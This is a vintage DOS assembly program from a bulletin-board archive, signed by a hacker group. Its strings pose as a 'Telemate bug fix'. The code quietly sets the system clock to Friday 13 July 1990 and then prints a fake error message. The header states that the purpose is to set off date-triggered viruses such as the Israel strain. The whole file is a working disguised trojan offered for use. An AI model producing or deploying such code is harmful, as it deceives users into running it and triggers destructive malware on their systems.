;-------------------------------------------------------------------;
; Simple little program to change the date to July 13th, 1990	    ;
; Which just happens to be a Friday...what a coincidence....	    ;
; This should be great fun if you have a virus or a program that    ;
; goes *BOOM* on Friday the 13th, such as the Israel strain	    ;
; Have fun, and remember, I'm not responsible if you get your lazy  ;
; ass busted while trying to bring down the damn Pentagon	    ;
; Kryptic Night - SMC - RaCK - U<< - PhD                            ;
;-------------------------------------------------------------------;
CODE	SEGMENT
	Assume	CS:code,DS:code
	ORG 	100h

start:	Jmp begin
text1	db	' Telemate bug fix for version 3.0+$ '	;Bogus filler text
text2	db	' TM.EXE fixed!$ '			;Bogus filler text
text3   db 	 07h,'Error! Cannot alter TM.EXE$ '	;Printed after change

Begin	proc	NEAR
	mov	ah,05h			;Function 5 - Set Real Time Clock
	mov	cx,1990h		;What century
	mov	dx,0713h		;Month/day
	int	1ah			;Execute


	mov	ah,09h			;Funtion 9 - Print string <end in $>
	lea	dx,text3		;What text to print
	int	21h			;Execute function 09
	int	20h			;Quit .COM file
	begin	endp
CODE    ENDS					;End segment
	END start				;End program

Downloaded From P-80 International Information Systems 304-744-2253